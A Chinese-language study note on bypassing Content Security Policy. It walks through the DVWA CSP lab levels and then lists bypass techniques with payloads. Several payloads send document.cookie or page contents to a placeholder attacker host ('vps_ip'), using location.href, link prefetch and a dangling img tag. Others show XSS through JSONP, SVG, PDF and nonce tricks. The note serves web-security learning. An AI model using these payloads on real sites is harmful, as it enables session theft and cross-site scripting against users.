2023/10/12:CSP绕过

https://xz.aliyun.com/t/5084

CSP是啥,干啥的

https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
内容安全策略,该策略可让网站管理员指定客户端允许加载的各类可信任资源。CSP 兼容的浏览器将只执行从那些允许域接收的源文件中加载的脚本,忽略所有其他脚本(包括内联脚本和事件处理 HTML 属性)。除了限制可以加载内容的域之外,服务器还可以指定允许使用哪些协议,比如全是HTTP
CSP 的设计是完全向后兼容的(除了 CSP 版本2在向下兼容中有一些明确提到的不一致之处)。不支持 CSP 的浏览器仍然可以与实现它的服务器一起工作,反之亦然,不支持 CSP 的浏览器忽略它,像往常一样工作,默认为 Web 内容的标准同源策略。如果站点没有提供 CSP 头,浏览器也会使用标准的同源策略。
要启用 CSP,需要配置 Web 服务器以返回 Content-Security-Policy HTTP 头。
<meta>也可以配置CSP:

1
2
3
<meta
http-equiv="Content-Security-Policy"
content="default-src 'self'; img-src https://*; child-src 'none';" />

也可以对数据传输限制:一个完整的数据传输安全策略不仅包括强制使用 HTTPS 进行数据传输,还包括标记所有具有安全属性的 cookie,以及提供从 HTTP 页面自动重定向到其对应的 HTTPS。网站也可以使用 HTTP严格传输安全的 HTTP 头,以确保浏览器只能通过加密通道连接到它们。
用CSP时最好在策略包含 default-src 策略指令,这是其他资源类型在没有自己的策略时的备用方法

以DVWA为例

low

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com www.toptal.com example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, hastebin.com, jquery and google analytics.

header($headerCSP);

# These might work if you can't create your own for some reason
# https://pastebin.com/raw/R570EE00
# https://www.toptal.com/developers/hastebin/raw/cezaruzeka

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
<script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';

注释有提示在这些网站直接生成js代码,再把生成的连接放入include
不过现在似乎用不了

medium

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";

header($headerCSP);

// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");

# <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';

使用了nonce,nonce是一个只被使用一次的任意或非重复的随机数值,不过在这里不会变化
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>插入这句即可

high

high.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
$headerCSP = "Content-Security-Policy: script-src 'self';";

header($headerCSP);

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p>
<p>1+2+3+4+5=<span id="answer"></span></p>
<input type="button" id="solve" value="Solve the sum" />
</form>

<script src="source/high.js"></script>
';

high.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp.php?callback=solveSum";
document.body.appendChild(s);
}

function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}

var solve_button = document.getElementById ("solve");

if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}

代码保留了接受include的功能
注意到js中s.src = "source/jsonp.php?callback=solveSum";,根据<p>The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p>提示,payload为POST传参<script src="source/jsonp.php?callback=alert('111');"></script>

CSP饶过

location.href

利用条件:可以执行任意JS脚本,但是由于CSP无法数据带外
CSP不影响location.href跳转,可以利用此方式将cookie外带传输
location.href = "vps_ip:xxxx?"+document.cookie可以执行任意JS脚本,但是由于CSP无法数据带外时可以采用此方式

link标签导致的绕过

利用条件:可以执行任意JS脚本,但是由于CSP无法数据带外
较老版本浏览器可以通过此标签将数据外带

1
2
3
4
5
<!-- firefox -->
<link rel="dns-prefetch" href="//${cookie}.vps_ip">

<!-- chrome -->
<link rel="prefetch" href="//vps_ip?${cookie}">

标签写死时:

1
2
3
4
var link = document.createElement("link");
link.setAttribute("rel", "prefetch");
link.setAttribute("href", "//vps_ip/?" + document.cookie);
document.head.appendChild(link);

Iframe绕过

利用条件:一个同源站点内存在两个页面,一个页面存在CSP保护,另一个页面没有CSP保护且存在XSS漏洞;我们需要的数据在存在CSP保护的页面
当一个同源站点,同时存在两个页面,其中一个有CSP保护的A页面,另一个没有CSP保护B页面,那么如果B页面存在XSS漏洞,我们可以直接在B页面新建iframe用javascript直接操作A页面的dom,可以说A页面的CSP防护完全失效
A:

1
2
3
4
<!-- A页面 -->
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">

<h1 id="flag">flag{0xffff}</h1>

B:

1
2
3
4
5
6
7
8
9
10
11
<!-- B页面 -->

<!-- 下面模拟XSS -->
<body>
<script>
var iframe = document.createElement('iframe');//创建对象
iframe.src="A页面";//src定义在iframe显示的网页地址
document.body.appendChild(iframe);//将新创建的 HTML 元素或已有的元素添加到页面主体<body>
setTimeout(()=>alert(iframe.contentWindow.document.getElementById('flag').innerHTML),1000);//setTimeout是为了等待iframe加载完成,innerHTML读写元素内容
</script>
</body>

CDN绕过

利用条件:CDN服务商存在某些低版本的js库;此CDN服务商在CSP白名单中
如果CDN上存在一些低版本的框架,就可能存在绕过CSP的风险,例如低版本的angular js模板注入来绕过CSP
https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf

站点可控静态资源绕过

利用条件:站点存在可控静态资源,站点在CSP白名单中
https://github.com/k1tten/writeups/blob/master/bugbounty_writeup/HackMD_XSS_%26_Bypass_CSP.md
利用其他站点下可控静态资源,且CSP允许,类似DVWA low

站点可控JSONP绕过

利用条件:站点存在可控Jsonp,站点在CSP白名单中
大部分站点的jsonp是完全可控的,只不过有些站点会让jsonp不返回html类型防止直接的反射型XSS,但是如果将url插入到script标签中,除非设置x-content-type-options头,否者尽管返回类型不一致,浏览器依旧会当成js进行解析

Base-uri绕过

利用条件:script-src只使用nonce,没有额外设置base-uri,且页面引用存在相对路径的<script>标签
当服务器CSP script-src采用了nonce时,如果只设置了default-src没有额外设置base-uri,就可以使用<base>标签使当前页面上下文为自己的vps,如果页面中的合法script标签采用了相对路径,那么最终加载的js就是针对base标签中指定url的相对路径
注意:如果页面的script-src不是采用的nonce而是self或者域名ip,则不能使用此方法,因为vps_ip不在csp白名单内

不完整script标签绕过nonce

利用条件:可控点在合法script标签上方,且其中没有其他标签,XSS页面的CSP script-src只采用了nonce方式

1
2
3
4
5
6
<?php header("X-XSS-Protection:0");?>
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-xxxxx'">
<?php echo $_GET['xss']?>
<script nonce='xxxxx'>
//do some thing
</script>

当浏览器碰到一个左尖括号时,会变成标签开始状态,然后会一直持续到碰到右尖括号为止,在其中的数据都会被当成标签名或者属性d但在chrome中,虽然第二个<script被当成了属性名,但依旧会干扰chrome对标签的解析,造成错误,使我们的exp无法成功执行
这里可以用到标签的一个技巧,当一个标签存在两个同名属性时,第二个属性的属性名及其属性值都会被浏览器忽略
http://127.0.0.1/2.php?xss=123<script src="data:text/plain,alert(1)" a=123 a=

object-src绕过(PDFXSS)

利用条件:没有设置object-src,或者object-src没有设置为’none’,pdf用的是chrome的默认解析器

1
2
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
<?php echo $_GET['xss']?>

在CSP标准里面,有一个属性是object-src,它限制的是<embed> <object> <applet>标签的src,也就是插件的src
于是我们可以通过插件来执行Javascript代码,插件的js代码并不受script-src的约束
PDF文件中允许执行javascript脚本,但是之前浏览器的pdf解析器并不会解析pdf中的js,但是之前chrome的一次更新中突然允许加载pdf的javascript脚本

1
<embed width="100%" height="100%" src="//vps_ip/123.pdf"></embed>

pdf-xss并不能获取页面cookie,但是可以弹窗,url跳转等

SVG绕过

利用条件:可以上传svg图片

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="100px" height="100px" viewBox="0 0 751 751" enable-background="new 0 0 751 751" xml:space="preserve"> <image id="image0" width="751" height="751" x="0" y="0"
href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu8AAALvCAIAAABa4bwGAAAAIGNIUk0AAHomAACAhAAA+gAAAIDo" />
<script>alert(1)</script>
</svg>

不完整的资源标签获取资源

1
2
3
4
<meta http-equiv="Content-Security-Policy" content="default-src 'self';script-src 'self'; img-src *;">
<?php echo $_GET['xss']?>
<h1>flag{0xffff}</h1>
<h2 id="id">3</h2>

这里可以注意到img用了*,有些网站会用很多外链图片,所以这个情况并不少见
虽然我们可以新建任意标签,但是由于CSP我们的JS并不能执行(没有unsafe-inline),于是我们可以用不完整的<img标签来将数据带出
http://127.0.0.1/2.php?xss=<img src="//VPS_IP?a=
chrome下不会成功

CSS选择器获取内容

https://www.freebuf.com/articles/web/162445.html
大概思路就是css提供了选择器,当选择器到对应元素的时,可以加载一个外域请求,相当于sql的盲注

1
2
3
<meta http-equiv="Content-Security-Policy" content="default-src 'self';script-src 'self'; style-src 'unsafe-inline';img-src *">
<?php echo $_GET['xss']?>
<input value="flag{0xffff}">

意思是当input的value值以6703开头,则去加载后面的url,于是我们可以一位一位爆破,先猜第一位,再猜第二位

CRLF绕过

https://book.hacktricks.xyz/v/cn/pentesting-web/crlf-0d-0a#http-tou-zhu-ru
通过利用CRLF注入,攻击者还可以插入HTTP头,这可能用于破坏安全机制,如浏览器的XSS过滤器或同源策略。这使得攻击者可以获取敏感信息,如CSRF令牌。他还可以设置Cookie,这可能被利用来登录受害者的帐户,或者利用其他无法利用的跨站脚本(XSS)漏洞。